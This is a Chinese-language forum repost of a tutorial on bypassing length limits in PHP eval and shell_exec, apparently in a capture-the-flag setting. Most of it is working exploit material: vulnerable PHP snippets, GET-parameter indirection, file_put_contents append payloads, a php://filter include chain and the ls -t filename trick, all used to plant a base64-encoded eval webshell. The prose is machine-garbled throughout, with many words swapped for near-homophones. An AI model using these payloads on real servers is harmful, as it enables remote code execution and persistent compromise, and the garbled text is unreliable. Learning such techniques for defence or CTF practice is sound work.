曂沅仴駦 发表于 2024-10-17 05:32:23

Eval绕过限制参数限制

PHP Eval函数参数限制在16个字符

PHP代码
 <?php
 $param = $_REQUEST['param'];  
 if (
     strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false
 )
 {
     eval($param);
 }
 ?>
     
 # 部署环境属于ubuntu系统 通过GET传参绕过

由于是接收param参数,而且在末了面通过eval执行,以是我们可以控制参数执行一些简朴的下令。好比phpinfo();
https://i-blog.csdnimg.cn/direct/2cd3bf4e6c0b452ab47e10caad8c8d6b.png

我们学习过eval是PHP的代码执行方法,而且在Linux体系中是可以通过反引号来执行下令的。以是我们是不是可以通过eval + 反引号 吧代码执行转变为下令执行呢?
https://i-blog.csdnimg.cn/direct/a4ff6eadf9634f3d801161a5aa5cce71.png
我们发现可以这样做,通过echo来输出结果。但是此时如果想写一句话木马就不可了,由于PHP代码中有限制长度。
以是我们是不是可以通过命名一个符合要求的新参数,而且通过GET或者POST传递参数,让eval执行传递的新参数,然后我们通过给新参数定义差别的内容来执行下令,那么不就可以突破长度限制了吗?
https://i-blog.csdnimg.cn/direct/85d308c8498240609be26711f5524063.png
由于本地权限不高,我们并不能执行删库跑路代码。
https://i-blog.csdnimg.cn/direct/35967d5e6feb4aa9a042b132b0a878c2.png
但是由于在本地存在创建文件的权限,以是我们是不是可以在本地写一句话木马文件呢?
https://i-blog.csdnimg.cn/direct/d3c9b6f8b22a40f0b80b0acad4e4047a.png
https://i-blog.csdnimg.cn/direct/076785917961455dbd490522485e16f5.png
文件是可以创建的,以是我们可以在本地写一句话木马文件。
当然除去使用echo打印输出,我们也可以通过exec($_GET);来举行。
https://i-blog.csdnimg.cn/direct/01bbb2dab714465c81a763a6ddeb4a47.png
用这个方法就可以绕过Eval函数参数限制的情况,利用难度比较低 但是环境要求高。
通过file_put_contents函数写文件绕过

file_put_contents函数

file_put_contents — 将数据写入文件
 file_put_contents(
   string $filename,
   mixed $data,
   int $flags = 0,
   ?resource $context = null
 ): int|false 如果 filename 不存在,将会创建文件。反之,存在的文件将会重写,除非设置 FILE_APPEND flag。
参数说明filename要被写入数据的文件名。data要写入的数据。类型可以是 string,array 或者是 stream 资源。flagsflags 的值context一个 context 资源。
FLAG内容
Flag描述FILE_USE_INCLUDE_PATH在 include 目次里搜索 filename。 FILE_APPEND如果文件 filename 已经存在,追加数据而不是覆盖。LOCK_EX在写入时获取文件独占锁。换句话说,在调用 fopen() 和 fwrite()中间发生了 flock() 调用。这与调用带模式“x”的 fopen() 差别。
返回值 该函数将返回写入到文件内数据的字节数,失败时返回false。

通过file_put_contents函数我们可以写一个文件,然后一点点向文件里面添加内容,然后通过执行这个文件不就可以绕过长度的限制吗?
 ?1=file_put_contents&param=$_GET(N,P,file_append); 此时我们发现,param的内容超过16个字符了。以是被过滤掉了没有生成文件。
https://i-blog.csdnimg.cn/direct/ffc1907aa5c942f6b75d66ce52f1e3ea.png

我们通过查询官方文档,file_append参数确实是追加啊。也没其他的形式是追加啊。
此时要留意了,由于PHP的底层代码是C语言。以是我们可以去看底层C语言代码是怎样写的,通过查看我们发现C语言中追加的参数可以使用" 8 "代替。此时就可以解决长度题目了。
但是还有一个题目,我们发现file_put_contents函数无法追加一些特殊字符。以是我们可以提前内容举行Base64编码传递。
 ?1=file_put_contents&param=$_GET(N,P,8);  
 ​
 Base64编码内容:<?php eval($_POST);
 Base64编码:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
 ​
 ?1=file_put_contents&param=$_GET(N,D,8);  
             ......
            
 # 执行文件
 ?param=include$_GET;&1=php://filter/read=convert.base64-decode/resource=N
 ​
 读取文件的时候通过PHP的伪协议,通过Base64-decode将文件内容转成正常的一句话来读取内容。然后文件包含直接执行。因为文件包含会将一切内容都转为PHP文件进行执行。从而可以执行:"<?php eval($_POST);"的内容 然后通过服务该文件,传递参数执行下令。
https://i-blog.csdnimg.cn/direct/afff3b01daf54e46ae8de4b03fcd8071.png
留意

如果碰到文件无法生成的题目,可能是权限不敷。查看Nginx目次下html文件夹的所属用户以及所属组是否为www-data。如果不是需要通过chown目次修改文件的所属用户和所属组。
 # 语法
 chown [-R] ownname:groupname filename
 # -R 表示递归该文件夹下所有内容都所有文件的所属用户和所属组
 ​
 chown -R www-data:www-data html

下令长度限制突破技巧

Linux下令长度限制在7个字符

PHP代码
 <?php
 $param = $_REQUEST['param'];  
 if ( strlen($param) < 8 )
 {  
     echo shell_exec($param);
 }
 ?>
通过重定向写文件绕过
根据之前的履历,我们是不是可以通过一点一点写入问价写来绕过?显然是不可能的收到长度的限制,导致想法实现不了。Linux中可以通过重定向创建文件,而且可以定义文件的名称。如果我们是不是写一堆文件而且通过按照一定的顺序排序,从而将文件名写入到一个新的文件中,末了使用sh执行这个文件不就可以了?


[*] ls -t 以创建时间来列出当前目次下所有文件
[*] 文件列表以[换行符]分割每个文件
[*] 引入 \ 转义ls时的换行
[*] 换行不影响下令执行
[*] 成功构造恣意下令执行,写入Webshell
由于写入webshell中的PHP语句存在特殊字符,以是我们先将语句<?php eval($_GET);通过base64举行编码PD9waHAgZXZhbCgkX0dFVFsxXSk7然后再一个一个逐步的去上传。
https://i-blog.csdnimg.cn/direct/7745e3eca88b4d2bb2ee655212acbc8d.png
末了通过echo追加文件到创建的c.php文件中以base64解码的形式。
 echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>c.php https://i-blog.csdnimg.cn/direct/6c13a4c73fad4f5ead961d9758c01bbf.png
https://i-blog.csdnimg.cn/direct/332d74eac7cb4a09a3531ff978ef673a.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Eval绕过限制参数限制